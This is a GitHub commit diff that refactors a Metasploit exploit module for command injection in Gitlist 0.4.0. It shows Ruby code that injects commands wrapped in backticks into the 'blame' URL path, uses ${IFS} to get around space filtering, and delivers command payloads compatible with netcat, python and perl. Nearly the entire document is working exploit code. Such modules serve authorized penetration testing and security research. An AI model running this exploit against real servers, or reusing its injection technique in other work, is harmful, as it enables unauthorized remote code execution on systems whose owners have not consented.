Skip to content

Commit 6fb2fc8

Browse files
committed
address @jvasquez-r7 review points
1 parent 86a31b1 commit 6fb2fc8

File tree

1 file changed

+15
-31
lines changed

1 file changed

+15
-31
lines changed

modules/exploits/linux/http/gitlist_exec.rb

Lines changed: 15 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ def initialize(info = {})
2323
'Arch' => ARCH_CMD,
2424
'Author' =>
2525
[
26-
'drone', #discovery/poc @dronesec
26+
'@dronesec', #discovery/poc
2727
'Brandon Perry <[email protected]>' #Metasploit module
2828
],
2929
'References' =>
@@ -35,21 +35,17 @@ def initialize(info = {})
3535
'Payload' =>
3636
{
3737
'Space' => 9999, #arbitrary, length of GET request really
38-
'BadChars' => "", #base64 encode then execute
38+
'BadChars' => "&\x20",
3939
'DisableNops' => true,
4040
'Compat' =>
4141
{
4242
'PayloadType' => 'cmd',
4343
'RequiredCmd' => 'generic netcat netcat-e python perl',
4444
}
4545
},
46-
'DefaultOptions' =>
47-
{
48-
'ExitFunction' => 'none'
49-
},
5046
'Targets' =>
5147
[
52-
['Automatic Targeting', { 'auto' => true }]
48+
['Gitlist 0.4.0', { }]
5349
],
5450
'DefaultTarget' => 0,
5551
'DisclosureDate' => 'Jun 30 2014'
@@ -62,55 +58,43 @@ def initialize(info = {})
6258
end
6359

6460
def check
65-
res = send_request_cgi({
66-
'uri' => normalize_uri(target_uri.path)
67-
})
68-
69-
if !res
70-
fail_with("Server did not respond in an expected way")
71-
end
72-
73-
first = /href="\/gitlist\/(.*)\/"/.match(res.body)
74-
75-
if !first or first.length < 2
76-
fail_with("We don't have a properly configured Gitlist")
77-
end
61+
chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5))
7862

79-
chk = Rex::Text.encode_base64(Rex::Text.rand_text_alpha(rand(32)+5))
63+
res = send_command("echo${IFS}" + chk + "|base64${IFS}--decode")
8064

81-
res = send_request_cgi({
82-
'uri' => normalize_uri(target_uri.path, first, 'blame', 'master', '%22%22`echo${IFS}' + chk + '|base64${IFS}--decode`')
83-
})
84-
85-
if res and res.body =~ /#{Rex::Text.decode_base64(chk)}/
65+
if res and res.body.include?(Rex::Text.decode_base64(chk))
8666
return Exploit::CheckCode::Vulnerable
8767
end
8868

8969
return Exploit::CheckCode::Safe
9070
end
9171

9272
def exploit
93-
pay = Rex::Text::encode_base64(payload.encoded)
73+
send_command(payload.encoded)
74+
end
9475

76+
def send_command(cmd)
9577
res = send_request_cgi({
9678
'uri' => normalize_uri(target_uri.path)
9779
})
9880

99-
if !res
81+
unless res
10082
fail_with("Server did not respond in an expected way")
10183
end
10284

10385
first = /href="\/gitlist\/(.*)\/"/.match(res.body)
10486

105-
if !first or first.length < 2
87+
unless first && first.length >= 2
10688
fail_with("We don't have a properly configured Gitlist installation")
10789
end
10890

10991
first = first[1]
11092

111-
send_request_cgi({
112-
'uri' => normalize_uri(target_uri.path, first, 'blame', 'master', '%22%22`echo${IFS}' + pay + '|base64${IFS}--decode|sh`')
93+
res = send_request_cgi({
94+
'uri' => normalize_uri(target_uri.path, first, 'blame', 'master', '""`' + cmd + '`')
11395
})
96+
97+
return res
11498
end
11599

116100
end

0 commit comments

Comments
 (0)